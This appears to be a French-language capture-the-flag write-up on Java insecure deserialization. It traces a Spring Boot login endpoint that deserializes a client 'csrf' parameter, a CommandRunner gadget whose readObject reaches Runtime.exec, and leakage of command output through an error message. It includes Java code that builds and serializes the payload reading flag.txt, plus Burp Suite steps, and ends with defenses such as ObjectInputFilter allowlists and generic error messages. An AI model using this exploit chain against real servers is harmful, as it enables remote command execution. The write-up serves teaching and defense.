Aller au contenu

Désérialisation Java : de l'objet reconstruit à l'exécution de commande

La désérialisation Java non sécurisée est un cas d’école du contrôle d’accès et de la confiance mal placée. Le principe : reconstruire un objet à partir de données fournies par le client exécute le code contenu dans les méthodes magiques de cet objet, avant même que l’application ne vérifie son type. Un attaquant qui fournit un objet bien choisi obtient l’exécution de commande sur le serveur.

L’exploitation suit trois temps : le point d’entrée qui désérialise (source), une classe du classpath dont la lecture déclenche une action dangereuse (gadget), et un moyen de récupérer le résultat (sink).

1. Le point d’entrée : désérialiser avant de vérifier

Section intitulée « 1. Le point d’entrée : désérialiser avant de vérifier »

Sur une application Spring Boot, la route POST /login prend un paramètre csrf et le passe directement à une méthode de désérialisation, sans liste blanche ni contrôle de type.

@PostMapping("/login")
public String authenticate(Model model,
@RequestParam String username,
@RequestParam String password,
@RequestParam String csrf) throws Exception {
CSRF token = new CSRF();
Object obj = null;
try {
obj = SerializationUtils.deserialize(csrf); // <-- vulnérabilité
token = (CSRF) obj; // le cast intervient APRÈS

deserialize(csrf) décode la chaîne depuis le Base64 et reconstruit l’objet via ObjectInputStream.readObject(). L’application s’attend à un objet CSRF, mais l’exécution du code de l’objet reçu, à travers ses méthodes magiques comme readObject, a lieu pendant la reconstruction, bien avant la tentative de transtypage.

Le point à retenir : le cast (CSRF) obj ne protège de rien. S’il échoue, c’est déjà trop tard, le code du gadget a tourné.

2. Le gadget : une lecture qui exécute une commande

Section intitulée « 2. Le gadget : une lecture qui exécute une commande »

Pour exploiter la faille, il faut une classe présente dans le classpath qui implémente Serializable et effectue une action dangereuse à sa lecture. Voici un gadget type, CommandRunner, dont la méthode magique readObject appelle automatiquement une méthode d’exécution.

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // restaure les propriétés (command, debug, output)
run(); // <-- appel automatique à la lecture
}

Dès que l’objet est désérialisé, run() est invoquée. Et run() exécute une commande système :

public void run() throws IOException {
if (!debug) {
output = "Le mode debug est désactivé.";
return;
}
String[] commandStrings = new String[command.length];
for (int i = 0; i < command.length; i++) {
commandStrings[i] = command[i].decode(); // décode un argument Base64
}
Process process = Runtime.getRuntime().exec(commandStrings); // <-- RCE
// ... lit le flux de sortie et le stocke dans 'output'
}

Si l’attribut debug vaut true, l’objet décode chaque argument du tableau command, puis passe le résultat à Runtime.getRuntime().exec(). C’est l’exécution de commande arbitraire.

Une désérialisation mène souvent à une RCE aveugle (blind), qui oblige à exfiltrer le résultat vers un serveur externe (curl, ping). Ici, la gestion d’erreur renvoie le résultat directement dans la réponse HTTP, une RCE in-band.

} catch (Exception ex) {
if (obj == null) {
model.addAttribute("error", ex.getMessage());
} else {
model.addAttribute("error", obj.toString() + ex.getMessage()); // <-- ici
}
return "login";
}

L’objet injecté étant un CommandRunner et non un CSRF, la ligne token = (CSRF) obj; lève une ClassCastException. Le catch affiche alors obj.toString() dans le message d’erreur de la page. Or :

@Override
public String toString() {
return "CommandRunner{output='" + output + "'}";
}

output contient le résultat de la commande. Il s’affiche donc directement sur la page, dans le message d’erreur.

Le principe : instancier localement le gadget avec les mêmes classes que le serveur, le sérialiser, et soumettre la chaîne obtenue comme valeur de csrf.

L’objet final doit respecter cette structure :

  • un objet CommandRunner ;
  • sa propriété debug à Boolean.TRUE ;
  • sa propriété command sous forme de tableau d’arguments encodés en Base64, chacun décodé par decode() côté serveur.

Runtime.getRuntime().exec(String[]) prend un tableau d’arguments : cat flag.txt se découpe en deux éléments, cat et flag.txt.

// Étape 1 : chaque argument encodé en Base64
String cmdPart1 = Base64.getEncoder().encodeToString("cat".getBytes());
String cmdPart2 = Base64.getEncoder().encodeToString("flag.txt".getBytes());
EncodedArg[] commandArray = new EncodedArg[] {
new EncodedArg(cmdPart1),
new EncodedArg(cmdPart2)
};
// Étape 2 : instancier le gadget en mode debug
CommandRunner gadget = new CommandRunner(commandArray, true);
// Étape 3 : sérialiser au format attendu par l'application
String payload = SerializationUtils.serialize(gadget);
System.out.println(payload);

Sur des cibles réelles, quand aucune classe locale n’est exploitable, ysoserial génère des chaînes de gadgets prêtes à l’emploi à partir de bibliothèques courantes du classpath (Commons Collections, Spring, etc.).

  1. Intercepter la requête POST /login avec Burp Suite.
  2. Remplacer la valeur du paramètre csrf par le payload généré.
  3. Envoyer. La page se recharge avec l’erreur de cast et affiche le résultat de la commande dans le message d’erreur.

La règle première : ne jamais passer une donnée contrôlée par le client à ObjectInputStream.readObject(). Pour échanger des données structurées, préférer un format de données pur comme JSON, désérialisé vers un type explicite, sans exécution de code embarquée.

Quand la sérialisation native est imposée, appliquer un filtre de désérialisation (ObjectInputFilter, natif depuis Java 9) qui n’autorise que les classes attendues et rejette tout le reste.

ObjectInputStream ois = new ObjectInputStream(in);
ois.setObjectInputFilter(info -> {
Class<?> clazz = info.serialClass();
if (clazz == null || clazz == CSRF.class) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
});

Le filtre agit avant l’instanciation, donc avant que readObject d’un gadget ne s’exécute. C’est la différence décisive avec le cast, qui lui intervient trop tard.

Renvoyer obj.toString() ou la trace d’exception au client transforme une faille en canal d’exfiltration. Les messages d’erreur destinés à l’utilisateur doivent rester génériques, le détail restant dans les logs serveur.

La désérialisation Java exécute le code de l’objet reçu au moment de le reconstruire, avant tout contrôle de type : le cast qui suit ne protège jamais. Un gadget dont readObject mène à Runtime.exec transforme une entrée utilisateur en exécution de commande, et une gestion d’erreur trop bavarde renvoie même le résultat en clair. La seule défense fiable est de ne pas désérialiser de données non fiables, ou à défaut de filtrer strictement les classes autorisées avant l’instanciation.